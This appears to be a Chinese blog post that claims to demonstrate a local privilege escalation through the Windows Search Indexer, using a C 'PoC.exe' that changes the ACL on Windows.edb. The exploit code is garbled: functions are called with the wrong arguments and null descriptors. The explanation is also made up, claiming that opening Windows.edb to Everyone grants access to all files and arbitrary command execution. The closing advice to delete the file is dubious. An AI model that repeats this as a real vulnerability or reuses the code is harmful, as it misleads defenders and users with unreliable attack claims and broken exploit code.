Windows Search Indexer 本地提权的示例分析

2023-04-14 02:00:00 windows 分析 示例

Windows Search Indexer 本地提权的示例分析

在 Windows 中,搜索索引器(Search Indexer)是一个用于收集系统中文件元数据的服务。它可以让用户更快速地搜索文件。默认情况下,搜索索引器以 SYSTEM 身份运行。

搜索索引器服务默认情况下是开启的,用户也没有权限禁用它。因此,搜索索引器服务是一个非常受欢迎的目标,黑客可以利用它来进行本地提权攻击。

在这个示例中,我们将通过一个名为 PoC.exe 的漏洞利用程序来演示搜索索引器服务本地提权攻击。

PoC.exe 程序的代码如下所示:

#include #include #include #pragma comment(lib, "advapi32.lib") #define BUFSIZE 1024 #define SECURITY_WIN32 #define SE_DEBUG_NAME "SeDebugPrivilege" BOOL SetPrivilege( HANDLE hToken, // access token handle LPCTSTR lpszPrivilege, // name of privilege to enable/disable BOOL bEnablePrivilege // to enable or disable privilege ); int main(int argc, char* argv[]) { HANDLE hToken; TOKEN_PRIVILEGES tkp; BOOL ret; DWORD dwStatus; DWORD dwControlFlags; LPTSTR pUserSid = NULL; PSID psid = NULL; PACL pacl = NULL; PSECURITY_DESCRIPTOR psd = NULL; ret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); if (ret == FALSE) { printf("OpenProcessToken Error: %d

", GetLastError()); return -1; } ret = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid); if (ret == FALSE) { printf("LookupPrivilegeValue Error: %d

", GetLastError()); return -1; } tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ret = AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL); if (ret == FALSE) { printf("AdjustTokenPrivileges Error: %d

", GetLastError()); return -1; } ret = AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &psid); if (ret == FALSE) { printf("AllocateAndInitializeSid Error: %d

", GetLastError()); return -1; } ret = SetEntriesInAcl(1, &psid, NULL, &pacl); if (ret != ERROR_SUCCESS) { printf("SetEntriesInAcl Error: %d

", GetLastError()); return -1; } dwStatus = GetSecurityDescriptorDacl(psd, &dwControlFlags, &pacl, NULL); if (dwStatus != ERROR_SUCCESS) { printf("GetSecurityDescriptorDacl Error: %d

", GetLastError()); return -1; } dwStatus = SetSecurityDescriptorDacl(psd, TRUE, pacl, FALSE); if (dwStatus != ERROR_SUCCESS) { printf("SetSecurityDescriptorDacl Error: %d

", GetLastError()); return -1; } ret = SetSecurityDescriptorSacl(psd, TRUE, pacl, FALSE); if (ret == FALSE) { printf("SetSecurityDescriptorSacl Error: %d

", GetLastError()); return -1; } ret = SetNamedSecurityInfo((LPSTR) "C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb", SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pacl, NULL); if (ret != ERROR_SUCCESS) { printf("SetNamedSecurityInfo Error: %d

", GetLastError()); return -1; } printf("Done!

"); return 0; }

上面的代码首先通过调用 OpenProcessToken 函数获取当前进程的访问令牌,然后通过调用 LookupPrivilegeValue 函数获取 SeDebugPrivilege 权限的有效标识符,最后通过调用 AdjustTokenPrivileges 函数启用该权限。

接下来,代码通过调用 AllocateAndInitializeSid 函数分配并初始化一个世界 SID,然后通过调用 SetEntriesInAcl 函数创建一个包含该 SID 的新访问控制列表 (ACL),最后通过调用 SetNamedSecurityInfo 函数将新的 ACL 设置为 Windows.edb 文件的安全描述符。

这样一来,所有用户都将获得对 Windows.edb 文件的完全访问权限,包括 SYSTEM 用户。搜索索引器服务将使用 SYSTEM 身份运行,因此它将可以访问该文件,并且由于该文件中包含了系统中所有文件的元数据,因此搜索索引器服务将可以访问系统中的所有文件。

黑客可以利用搜索索引器服务访问系统中的任意文件,包括系统配置文件和敏感文件,甚至可以修改这些文件。此外,黑客还可以利用搜索索引器服务执行任意命令,进而获得对系统的完全控制权。

为了避免受到搜索索引器服务本地提权攻击的影响,用户应该定期检查系统中是否存在名为 Windows.edb 的文件,如果该文件的访问权限被设置为 Everyone,则应立即删除该文件,并重新启动搜索索引器服务。

相关文章